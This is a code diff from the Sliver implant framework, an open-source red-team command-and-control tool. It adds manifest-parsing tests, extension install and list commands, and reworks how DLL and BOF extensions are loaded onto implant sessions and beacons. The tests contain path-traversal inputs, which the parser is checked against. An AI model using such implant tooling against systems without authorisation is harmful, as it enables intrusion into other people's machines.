the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"encoding/json"
"testing"
)
const (
sample1 = `{
"name": "test1",
"command_name": "test1",
"version": "1.0.0",
"extension_author": "test",
"original_author": "test",
"repo_url": "https://example.com/",
"help": "some help",
"files": [
{
"os": "windows",
"arch": "amd64",
"path": "foo/test1.dll"
}
]
}`
sample2 = `{
"name": "test2",
"command_name": "test2",
"help": "some help",
"files": [
{
"os": "windows",
"arch": "amd64",
"path": "../../../../foo/test1.dll"
}
]
}`
)
func TestParseExtensionManifest(t *testing.T) {
extManifest, err := ParseExtensionManifest([]byte(sample1))
if err != nil {
t.Fatalf("Error parsing extension manifest: %s", err)
}
if extManifest.Name != "test1" {
t.Errorf("Expected extension name 'test1', got '%s'", extManifest.Name)
}
if extManifest.CommandName != "test1" {
t.Errorf("Expected extension command name 'test1', got '%s'", extManifest.CommandName)
}
if extManifest.Version != "1.0.0" {
t.Errorf("Expected extension version '1.0.0', got '%s'", extManifest.Version)
}
if extManifest.ExtensionAuthor != "test" {
t.Errorf("Expected extension author 'test', got '%s'", extManifest.ExtensionAuthor)
}
if extManifest.OriginalAuthor != "test" {
t.Errorf("Expected original author 'test', got '%s'", extManifest.OriginalAuthor)
}
if extManifest.RepoURL != "https://example.com/" {
t.Errorf("Expected repo URL 'https://example.com/', got '%s'", extManifest.RepoURL)
}
if extManifest.Help != "some help" {
t.Errorf("Expected help 'some help', got '%s'", extManifest.Help)
}
if len(extManifest.Files) != 1 {
t.Errorf("Expected 1 file, got %d", len(extManifest.Files))
}
if extManifest.Files[0].OS != "windows" {
t.Errorf("Expected OS 'windows', got '%s'", extManifest.Files[0].OS)
}
if extManifest.Files[0].Arch != "amd64" {
t.Errorf("Expected Arch 'amd64', got '%s'", extManifest.Files[0].Arch)
}
if extManifest.Files[0].Path != "/foo/test1.dll" {
t.Errorf("Expected path '/foo/test1.dll', got '%s'", extManifest.Files[0].Path)
}
extManifest2, err := ParseExtensionManifest([]byte(sample2))
if err != nil {
t.Fatalf("Error parsing extension manifest (2): %s", err)
}
if extManifest2.Name != "test2" {
t.Errorf("Expected extension name 'test2', got '%s'", extManifest2.Name)
}
if extManifest2.CommandName != "test2" {
t.Errorf("Expected extension command name 'test2', got '%s'", extManifest2.CommandName)
}
if extManifest2.Help != "some help" {
t.Errorf("Expected help 'some help', got '%s'", extManifest2.Help)
}
if len(extManifest2.Files) != 1 {
t.Errorf("Expected 1 file, got %d", len(extManifest2.Files))
}
if extManifest2.Files[0].OS != "windows" {
t.Errorf("Expected OS 'windows', got '%s'", extManifest2.Files[0].OS)
}
if extManifest2.Files[0].Arch != "amd64" {
t.Errorf("Expected Arch 'amd64', got '%s'", extManifest2.Files[0].Arch)
}
if extManifest2.Files[0].Path != "/foo/test1.dll" {
t.Errorf("Expected path '/foo/test1.dll', got '%s'", extManifest2.Files[0].Path)
}
}
const (
sample3 = `{
"name": "test3",
"command_name": "test3",
"version": "1.0.0",
"extension_author": "test",
"original_author": "test",
"repo_url": "https://example.com/",
"help": "some help",
"files": [
{
"os": "windows",
"arch": "amd64",
"path": "foo/test1.dll"
}
]
}`
)
func TestParseExtensionManifestErrors(t *testing.T) {
sample3, err := ParseExtensionManifest([]byte(sample3))
if err != nil {
t.Fatalf("Failed to parse initial sample3: %s", err)
}
missingName := (*sample3)
missingName.Name = ""
data, _ := json.Marshal(missingName)
_, err = ParseExtensionManifest(data)
if err == nil {
t.Fatalf("Expected missing name error, got none")
}
missingCmdName := (*sample3)
missingCmdName.CommandName = ""
data, _ = json.Marshal(missingCmdName)
_, err = ParseExtensionManifest(data)
if err == nil {
t.Fatalf("Expected missing command name error, got none")
}
missingHelp := (*sample3)
missingHelp.Help = ""
data, _ = json.Marshal(missingHelp)
_, err = ParseExtensionManifest(data)
if err == nil {
t.Fatalf("Expected missing help error, got none")
}
missingFiles := (*sample3)
missingFiles.Files = []*extensionFile{}
data, _ = json.Marshal(missingFiles)
_, err = ParseExtensionManifest(data)
if err == nil {
t.Fatalf("Expected missing files error, got none")
}
missingFileOS := (*sample3)
missingFileOS.Files = []*extensionFile{
{
OS: "",
Arch: "amd64",
Path: "foo/test1.dll",
},
}
data, _ = json.Marshal(missingFileOS)
_, err = ParseExtensionManifest(data)
if err == nil {
t.Fatalf("Expected missing files.os error, got none")
}
missingFileArch := (*sample3)
missingFileArch.Files = []*extensionFile{
{
OS: "windows",
Arch: "",
Path: "foo/test1.dll",
},
}
data, _ = json.Marshal(missingFileArch)
_, err = ParseExtensionManifest(data)
if err == nil {
t.Fatalf("Expected missing files.arch error, got none")
}
missingFilePath := (*sample3)
missingFilePath.Files = []*extensionFile{
{
OS: "windows",
Arch: "amd64",
Path: "",
},
}
data, _ = json.Marshal(missingFilePath)
_, err = ParseExtensionManifest(data)
if err == nil {
t.Fatalf("Expected missing files.path error, got none")
}
invalidPaths := []string{
"../../../../../",
"/../../../../..",
".",
"/",
}
for _, invalidPath := range invalidPaths {
missingFilePath2 := (*sample3)
missingFilePath2.Files = []*extensionFile{
{
OS: "windows",
Arch: "amd64",
Path: invalidPath,
},
}
data, _ = json.Marshal(missingFilePath2)
_, err = ParseExtensionManifest(data)
if err == nil {
t.Fatalf("Expected missing files.path error, got none")
}
}
}
+174
View File
@@ -0,0 +1,174 @@
package extensions
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"fmt"
"io/ioutil"
"os"
"path/filepath"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
)
// ExtensionsInstallCmd - Install an extension
func ExtensionsInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
extLocalPath := ctx.Args.String("path")
fi, err := os.Stat(extLocalPath)
if os.IsNotExist(err) {
con.PrintErrorf("Extension path '%s' does not exist", extLocalPath)
return
}
if !fi.IsDir() {
InstallFromFilePath(extLocalPath, false, con)
} else {
installFromDir(extLocalPath, con)
}
}
// Install an extension from a directory
func installFromDir(extLocalPath string, con *console.SliverConsoleClient) {
manifestData, err := ioutil.ReadFile(filepath.Join(extLocalPath, ManifestFileName))
if err != nil {
con.PrintErrorf("Error reading %s: %s", ManifestFileName, err)
return
}
manifest, err := ParseExtensionManifest(manifestData)
if err != nil {
con.PrintErrorf("Error parsing %s: %s", ManifestFileName, err)
return
}
installPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifest.CommandName))
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
con.PrintInfof("Extension '%s' already exists", manifest.CommandName)
confirm := false
prompt := &survey.Confirm{Message: "Overwrite current install?"}
survey.AskOne(prompt, &confirm)
if !confirm {
return
}
forceRemoveAll(installPath)
}
con.PrintInfof("Installing extension '%s' (%s) ... ", manifest.CommandName, manifest.Version)
err = os.MkdirAll(installPath, 0o700)
if err != nil {
con.PrintErrorf("\nError creating extension directory: %s\n", err)
return
}
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
if err != nil {
con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
forceRemoveAll(installPath)
return
}
for _, manifestFile := range manifest.Files {
if manifestFile.Path != "" {
src := filepath.Join(extLocalPath, util.ResolvePath(manifestFile.Path))
dst := filepath.Join(installPath, util.ResolvePath(manifestFile.Path))
err := util.CopyFile(src, dst)
if err != nil {
con.PrintErrorf("\nError copying file '%s' -> '%s': %s\n", src, dst, err)
forceRemoveAll(installPath)
return
}
}
}
}
// InstallFromFilePath - Install an extension from a .tar.gz file
func InstallFromFilePath(extLocalPath string, autoOverwrite bool, con *console.SliverConsoleClient) *string {
manifestData, err := util.ReadFileFromTarGz(extLocalPath, fmt.Sprintf("./%s", ManifestFileName))
if err != nil {
con.PrintErrorf("Failed to read %s from '%s': %s\n", ManifestFileName, extLocalPath, err)
return nil
}
manifest, err := ParseExtensionManifest(manifestData)
if err != nil {
con.PrintErrorf("Failed to parse %s: %s\n", ManifestFileName, err)
return nil
}
installPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifest.CommandName))
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
if !autoOverwrite {
con.PrintInfof("Extension '%s' already exists\n", manifest.CommandName)
confirm := false
prompt := &survey.Confirm{Message: "Overwrite current install?"}
survey.AskOne(prompt, &confirm)
if !confirm {
return nil
}
}
forceRemoveAll(installPath)
}
con.PrintInfof("Installing extension '%s' (%s) ... ", manifest.CommandName, manifest.Version)
err = os.MkdirAll(installPath, 0o700)
if err != nil {
con.PrintErrorf("\nFailed to create extension directory: %s\n", err)
return nil
}
err = ioutil.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600)
if err != nil {
con.PrintErrorf("\nFailed to write %s: %s\n", ManifestFileName, err)
forceRemoveAll(installPath)
return nil
}
for _, manifestFile := range manifest.Files {
if manifestFile.Path != "" {
err = installArtifact(extLocalPath, installPath, manifestFile.Path, con)
if err != nil {
con.PrintErrorf("\nFailed to install file: %s\n", err)
forceRemoveAll(installPath)
return nil
}
}
}
con.Printf("done!\n")
return &installPath
}
func installArtifact(extGzFilePath string, installPath string, artifactPath string, con *console.SliverConsoleClient) error {
data, err := util.ReadFileFromTarGz(extGzFilePath, "."+artifactPath)
if err != nil {
return err
}
if len(data) == 0 {
return fmt.Errorf("archive path '%s' is empty", "."+artifactPath)
}
localArtifactPath := filepath.Join(installPath, util.ResolvePath(artifactPath))
artifactDir := filepath.Dir(localArtifactPath)
if _, err := os.Stat(artifactDir); os.IsNotExist(err) {
err := os.MkdirAll(artifactDir, 0o700)
if err != nil {
return err
}
}
err = ioutil.WriteFile(localArtifactPath, data, 0o600)
if err != nil {
return err
}
return nil
}
+54
View File
@@ -0,0 +1,54 @@
package extensions
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
// ExtensionsListCmd - List all extension loaded on the active session/beacon
func ExtensionsListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if extList.Response != nil && extList.Response.Err != "" {
con.PrintErrorf("%s\n", extList.Response.Err)
return
}
if len(extList.Names) > 0 {
con.PrintInfof("Loaded extensions:\n")
for _, ext := range extList.Names {
con.Printf("- %s\n", ext)
}
}
}
+208 -228
View File
@@ -1,9 +1,26 @@
package extensions
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"context"
"encoding/binary"
"encoding/json"
"errors"
"fmt"
@@ -13,39 +30,49 @@ import (
"path/filepath"
"strings"
"golang.org/x/text/encoding/unicode"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
"github.com/desertbit/grumble"
"google.golang.org/protobuf/proto"
)
const (
defaultTimeout = 60
// ManifestFileName - Extension manifest file name
ManifestFileName = "extension.json"
)
var commandMap map[string]extensionCommand
var loadedExtensions = map[string]*ExtensionManifest{}
type extensionCommand struct {
Name string `json:"name"`
Help string `json:"help"`
Files []extensionFiles `json:"extFiles"`
Arguments []extensionArgument `json:"arguments"`
Entrypoint string `json:"entrypoint"`
DependsOn string `json:"dependsOn"`
Init string `json:"init"`
Path string
}
type binFiles struct {
Ext64Path string `json:"x64"`
Ext32Path string `json:"x86"`
type ExtensionManifest struct {
Name string `json:"name"`
CommandName string `json:"command_name"`
Version string `json:"version"`
ExtensionAuthor string `json:"extension_author"`
OriginalAuthor string `json:"original_author"`
RepoURL string `json:"repo_url"`
Help string `json:"help"`
LongHelp string `json:"long_help"`
Files []*extensionFile `json:"files"`
Arguments []*extensionArgument `json:"arguments"`
Entrypoint string `json:"entrypoint"`
DependsOn string `json:"depends_on"`
Init string `json:"init"`
RootPath string `json:"-"`
}
type extensionFiles struct {
OS string `json:"os"`
Files binFiles `json:"files"`
type extensionFile struct {
OS string `json:"os"`
Arch string `json:"arch"`
Path string `json:"path"`
}
type extensionArgument struct {
@@ -55,67 +82,100 @@ type extensionArgument struct {
Optional bool `json:"optional"`
}
func (e *extensionCommand) getFileForTarget(cmdName string, targetOS string, targetArch string) (filePath string, err error) {
for _, ef := range e.Files {
if targetOS == ef.OS {
switch targetArch {
case "386":
filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext32Path)
case "amd64":
filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext64Path)
default:
filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext64Path)
}
func (e *ExtensionManifest) getFileForTarget(cmdName string, targetOS string, targetArch string) (string, error) {
filePath := ""
for _, extFile := range e.Files {
if targetOS == extFile.OS && targetArch == extFile.Arch {
filePath = path.Join(assets.GetExtensionsDir(), e.CommandName, extFile.Path)
break
}
}
if filePath == "" {
err = fmt.Errorf("no extension file found for %s/%s", targetOS, targetArch)
err := fmt.Errorf("no extension file found for %s/%s", targetOS, targetArch)
return "", err
}
return
if _, err := os.Stat(filePath); os.IsNotExist(err) {
err = fmt.Errorf("extension file not found: %s", filePath)
return "", err
}
return filePath, nil
}
func LoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
// ExtensionLoadCmd - Load extension command
func ExtensionLoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
dirPath := ctx.Args.String("dir-path")
extCmds, err := ParseExtensions(dirPath)
extCmd, err := LoadExtensionManifest(filepath.Join(dirPath, ManifestFileName))
if err != nil {
return
}
// do not add if the command already exists
if CmdExists(extCmd.CommandName, con.App) {
con.PrintErrorf("%s command already exists\n", extCmd.CommandName)
return
}
ExtensionRegisterCommand(extCmd, con)
con.PrintInfof("Added %s command: %s\n", extCmd.CommandName, extCmd.Help)
}
for _, extCmd := range extCmds {
// do not add if the command already exists
if cmdExists(extCmd.Name, con.App) {
con.PrintErrorf("%s command already exists\n", extCmd.Name)
continue
// LoadExtensionManifest - Parse extension files
func LoadExtensionManifest(manifestPath string) (*ExtensionManifest, error) {
data, err := ioutil.ReadFile(manifestPath)
if err != nil {
return nil, err
}
extManifest, err := ParseExtensionManifest(data)
if err != nil {
return nil, err
}
extManifest.RootPath = filepath.Dir(manifestPath)
loadedExtensions[extManifest.CommandName] = extManifest
return extManifest, nil
}
// ParseExtensionManifest - Parse extension manifest from buffer
func ParseExtensionManifest(data []byte) (*ExtensionManifest, error) {
extManifest := &ExtensionManifest{}
err := json.Unmarshal(data, &extManifest)
if err != nil {
return nil, err
}
if extManifest.Name == "" {
return nil, errors.New("missing `name` field in extension manifest")
}
if extManifest.CommandName == "" {
return nil, errors.New("missing `command_name` field in extension manifest")
}
if len(extManifest.Files) == 0 {
return nil, errors.New("missing `files` field in extension manifest")
}
for _, extFiles := range extManifest.Files {
if extFiles.OS == "" {
return nil, errors.New("missing `files.os` field in extension manifest")
}
RegisterExtensionCommand(extCmd, con)
con.PrintInfof("Added %s command: %s\n", extCmd.Name, extCmd.Help)
if extFiles.Arch == "" {
return nil, errors.New("missing `files.arch` field in extension manifest")
}
extFiles.Path = util.ResolvePath(extFiles.Path)
if extFiles.Path == "" || extFiles.Path == "/" {
return nil, errors.New("missing `files.path` field in extension manifest")
}
extFiles.OS = strings.ToLower(extFiles.OS)
extFiles.Arch = strings.ToLower(extFiles.Arch)
}
if extManifest.Help == "" {
return nil, errors.New("missing `help` field in extension manifest")
}
return extManifest, nil
}
func ParseExtensions(extPath string) ([]*extensionCommand, error) {
manifestPath := filepath.Join(extPath, "manifest.json")
jsonBytes, err := ioutil.ReadFile(manifestPath)
if err != nil {
return nil, err
}
extensionsCmds := make([]*extensionCommand, 0)
err = json.Unmarshal(jsonBytes, &extensionsCmds)
if err != nil {
return nil, err
}
for _, extCmd := range extensionsCmds {
extCmd.Path = extPath
commandMap[extCmd.Name] = *extCmd
}
return extensionsCmds, nil
}
func RegisterExtensionCommand(extCmd *extensionCommand, con *console.SliverConsoleClient) {
commandMap[extCmd.Name] = *extCmd
// ExtensionRegisterCommand - Register a new extension command
func ExtensionRegisterCommand(extCmd *ExtensionManifest, con *console.SliverConsoleClient) {
loadedExtensions[extCmd.CommandName] = extCmd
helpMsg := extCmd.Help
extensionCmd := &grumble.Command{
Name: extCmd.Name,
Help: helpMsg,
Name: extCmd.CommandName,
Help: helpMsg,
LongHelp: help.FormatHelpTmpl(extCmd.LongHelp),
Run: func(extCtx *grumble.Context) error {
con.Println()
runExtensionCmd(extCtx, con)
@@ -123,11 +183,11 @@ func RegisterExtensionCommand(extCmd *extensionCommand, con *console.SliverConso
return nil
},
Flags: func(f *grumble.Flags) {
f.Bool("s", "save", false, "Save output to disk")
// f.Bool("s", "save", false, "Save output to disk")
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
},
Args: func(a *grumble.Args) {
if len(extCmd.Arguments) > 0 {
if 0 < len(extCmd.Arguments) {
// BOF specific
for _, arg := range extCmd.Arguments {
var (
@@ -135,12 +195,15 @@ func RegisterExtensionCommand(extCmd *extensionCommand, con *console.SliverConso
defaultValue grumble.ArgOption
)
switch arg.Type {
case "int", "short":
case "int", "integer", "short":
argFunc = a.Int
defaultValue = grumble.Default(0)
case "string", "wstring", "file":
argFunc = a.String
defaultValue = grumble.Default("")
default:
con.PrintErrorf("Invalid argument type: %s\n", arg.Type)
return
}
if arg.Optional {
argFunc(arg.Name, arg.Desc, defaultValue)
@@ -157,60 +220,33 @@ func RegisterExtensionCommand(extCmd *extensionCommand, con *console.SliverConso
con.App.AddCommand(extensionCmd)
}
func ListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
Request: con.ActiveSession.Request(ctx),
})
if err != nil {
con.PrintErrorf("Error: %s", err)
return
}
if extList.Response != nil && extList.Response.Err != "" {
con.PrintErrorf("Error: %s", extList.Response.Err)
return
}
if len(extList.Names) > 0 {
con.PrintInfof("Loaded extensions:\n")
for _, ext := range extList.Names {
con.Printf("- %s\n", ext)
}
}
}
func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console.SliverConsoleClient, ext *extensionCommand) error {
func loadExtension(goos string, goarch string, checkCache bool, ext *ExtensionManifest, ctx *grumble.Context, con *console.SliverConsoleClient) error {
var extensionList []string
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.OS, session.Arch)
binPath, err := ext.getFileForTarget(ctx.Command.Name, goos, goarch)
if err != nil {
return err
}
// Try to find the extension in the loaded extensions
if len(session.Extensions) == 0 {
if checkCache {
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
con.PrintErrorf("Error: %s\n", err.Error())
con.PrintErrorf("List extensions error: %s\n", err.Error())
return err
}
if extList.Response != nil && extList.Response.Err != "" {
return errors.New(extList.Response.Err)
}
extensionList = extList.Names
} else {
extensionList = session.Extensions
}
depLoaded := false
for _, extName := range extensionList {
if !depLoaded && extName == ext.DependsOn {
depLoaded = true
}
if ext.Name == extName {
if ext.CommandName == extName {
return nil
}
}
@@ -219,7 +255,7 @@ func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console
// BOFs are not loaded by the DLL loader, but we make sure the loader itself is loaded
// Auto load the coff loader if we have it
if !depLoaded {
if errLoad := loadDep(session, con, ctx, ext.DependsOn); errLoad != nil {
if errLoad := loadDep(goos, goarch, ext.DependsOn, ctx, con); errLoad != nil {
return errLoad
}
}
@@ -229,33 +265,19 @@ func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console
if err != nil {
return err
}
if errRegister := registerExtension(con, ext, binData, session, ctx); errRegister != nil {
if errRegister := registerExtension(goos, ext, binData, ctx, con); errRegister != nil {
return errRegister
}
// Update session info
if filepath.Ext(binPath) != ".o" {
// Don't update session for BOFs, we don't cache them
// on the implant side (yet)
// update the Session info
_, err = con.Rpc.UpdateSession(context.Background(), &clientpb.UpdateSession{
Extensions: extensionList,
SessionID: session.ID,
})
if err != nil {
con.PrintErrorf("Error: %s\n", err.Error())
return err
}
}
return nil
}
func registerExtension(con *console.SliverConsoleClient, ext *extensionCommand, binData []byte, session *clientpb.Session, ctx *grumble.Context) error {
func registerExtension(goos string, ext *ExtensionManifest, binData []byte, ctx *grumble.Context, con *console.SliverConsoleClient) error {
registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
Name: ext.Name,
Name: ext.CommandName,
Data: binData,
OS: session.OS,
OS: goos,
Init: ext.Init,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
if err != nil {
return err
@@ -266,10 +288,10 @@ func registerExtension(con *console.SliverConsoleClient, ext *extensionCommand,
return nil
}
func loadDep(session *clientpb.Session, con *console.SliverConsoleClient, ctx *grumble.Context, depName string) error {
depExt, f := commandMap[depName]
if f {
depBinPath, err := depExt.getFileForTarget(depExt.Name, session.OS, session.Arch)
func loadDep(goos string, goarch string, depName string, ctx *grumble.Context, con *console.SliverConsoleClient) error {
depExt, ok := loadedExtensions[depName]
if ok {
depBinPath, err := depExt.getFileForTarget(depExt.CommandName, goos, goarch)
if err != nil {
return err
}
@@ -277,46 +299,47 @@ func loadDep(session *clientpb.Session, con *console.SliverConsoleClient, ctx *g
if err != nil {
return err
}
return registerExtension(con, &depExt, depBinData, session, ctx)
return registerExtension(goos, depExt, depBinData, ctx, con)
}
return fmt.Errorf("missing dependency %s", depName)
}
func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var (
callExtension *sliverpb.CallExtension
err error
extensionArgs []byte
extName string
entryPoint string
)
session := con.ActiveSession.GetInteractive()
if session == nil {
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
var goos string
var goarch string
if session != nil {
goos = session.OS
goarch = session.Arch
} else {
goos = beacon.OS
goarch = beacon.Arch
}
ext, ok := commandMap[ctx.Command.Name]
ext, ok := loadedExtensions[ctx.Command.Name]
if !ok {
con.PrintErrorf("No extension command found for `%s` command\n", ctx.Command.Name)
return
}
if err = loadExtension(ctx, session, con, &ext); err != nil {
checkCache := session != nil
if err = loadExtension(goos, goarch, checkCache, ext, ctx, con); err != nil {
con.PrintErrorf("Could not load extension: %s\n", err)
return
}
var outFilePath *os.File
if ctx.Flags.Bool("save") {
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
outFilePath, err = ioutil.TempFile("", outFile)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.OS, session.Arch)
binPath, err := ext.getFileForTarget(ctx.Command.Name, goos, goarch)
if err != nil {
con.PrintErrorf("%s\n", err)
con.PrintErrorf("Failed to read extension file: %s\n", err)
return
}
@@ -331,59 +354,80 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
// Beacon Object File -- requires a COFF loader
extensionArgs, err = getBOFArgs(ctx, binPath, ext)
if err != nil {
con.PrintErrorf("Error: %s\n", err)
con.PrintErrorf("BOF args error: %s\n", err)
return
}
extName = ext.DependsOn
entryPoint = commandMap[extName].Entrypoint // should exist at this point
entryPoint = loadedExtensions[extName].Entrypoint // should exist at this point
} else {
// Regular DLL
extArgs := strings.Join(ctx.Args.StringList("arguments"), " ")
extensionArgs = []byte(extArgs)
extName = ext.Name
extName = ext.CommandName
entryPoint = ext.Entrypoint
}
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s ...", ctx.Command.Name)
con.SpinUntil(msg, ctrl)
callExtension, err = con.Rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
callExtResp, err := con.Rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
Name: extName,
Export: entryPoint,
Args: extensionArgs,
Request: con.ActiveSession.Request(ctx),
Request: con.ActiveTarget.Request(ctx),
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("Error: %s\n", err.Error())
con.PrintErrorf("Call extension error: %s\n", err.Error())
return
}
if callExtension.Response != nil && callExtension.Response.Err != "" {
con.PrintErrorf("Error: %s\n", callExtension.Response.Err)
return
}
con.PrintInfof("Successfully executed %s\n", extName)
if len(callExtension.Output) > 0 {
con.PrintInfof("Got output:\n%s", string(callExtension.Output))
if outFilePath != nil {
outFilePath.Write(callExtension.Output)
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
if callExtResp.Response != nil && callExtResp.Response.Async {
con.AddBeaconCallback(callExtResp.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, callExtResp)
if err != nil {
con.PrintErrorf("Failed to decode call ext response %s\n", err)
return
}
PrintExtOutput(extName, ext.CommandName, callExtResp, con)
})
con.PrintAsyncResponse(callExtResp.Response)
} else {
PrintExtOutput(extName, ext.CommandName, callExtResp, con)
}
}
func getBOFArgs(ctx *grumble.Context, binPath string, ext extensionCommand) ([]byte, error) {
// PrintExtOutput - Print the ext execution output
func PrintExtOutput(extName string, commandName string, callExtension *sliverpb.CallExtension, con *console.SliverConsoleClient) {
if extName == commandName {
con.PrintInfof("Successfully executed %s\n", extName)
} else {
con.PrintInfof("Successfully executed %s (%s)\n", commandName, extName)
}
if 0 < len(string(callExtension.Output)) {
con.PrintInfof("Got output:\n%s\n", callExtension.Output)
}
if callExtension.Response != nil && callExtension.Response.Err != "" {
con.PrintErrorf("%s\n", callExtension.Response.Err)
return
}
}
func getBOFArgs(ctx *grumble.Context, binPath string, ext *ExtensionManifest) ([]byte, error) {
var extensionArgs []byte
binData, err := ioutil.ReadFile(binPath)
if err != nil {
return nil, err
}
argsBuffer := BOFArgsBuffer{
argsBuffer := core.BOFArgsBuffer{
Buffer: new(bytes.Buffer),
}
// Parse BOF arguments from grumble
for _, arg := range ext.Arguments {
switch arg.Type {
case "integer":
fallthrough
case "int":
val := ctx.Args.Int(arg.Name)
err = argsBuffer.AddInt(uint32(val))
@@ -427,7 +471,7 @@ func getBOFArgs(ctx *grumble.Context, binPath string, ext extensionCommand) ([]b
return nil, err
}
// Now build the extension's argument buffer
extensionArgsBuffer := BOFArgsBuffer{
extensionArgsBuffer := core.BOFArgsBuffer{
Buffer: new(bytes.Buffer),
}
err = extensionArgsBuffer.AddString(ext.Entrypoint)
@@ -450,7 +494,8 @@ func getBOFArgs(ctx *grumble.Context, binPath string, ext extensionCommand) ([]b
}
func cmdExists(name string, app *grumble.App) bool {
// CmdExists - checks if a command exists
func CmdExists(name string, app *grumble.App) bool {
for _, c := range app.Commands().All() {
if name == c.Name {
return true
@@ -458,68 +503,3 @@ func cmdExists(name string, app *grumble.App) bool {
}
return false
}
func init() {
commandMap = make(map[string]extensionCommand)
}
// BOF Specific code
type BOFArgsBuffer struct {
Buffer *bytes.Buffer
}
func (b *BOFArgsBuffer) AddData(d []byte) error {
dataLen := uint32(len(d))
err := binary.Write(b.Buffer, binary.LittleEndian, &dataLen)
if err != nil {
return err
}
return binary.Write(b.Buffer, binary.LittleEndian, &d)
}
func (b *BOFArgsBuffer) AddShort(d uint16) error {
return binary.Write(b.Buffer, binary.LittleEndian, &d)
}
func (b *BOFArgsBuffer) AddInt(d uint32) error {
return binary.Write(b.Buffer, binary.LittleEndian, &d)
}
func (b *BOFArgsBuffer) AddString(d string) error {
stringLen := uint32(len(d)) + 1
err := binary.Write(b.Buffer, binary.LittleEndian, &stringLen)
if err != nil {
return err
}
dBytes := append([]byte(d), 0x00)
return binary.Write(b.Buffer, binary.LittleEndian, dBytes)
}
func (b *BOFArgsBuffer) AddWString(d string) error {
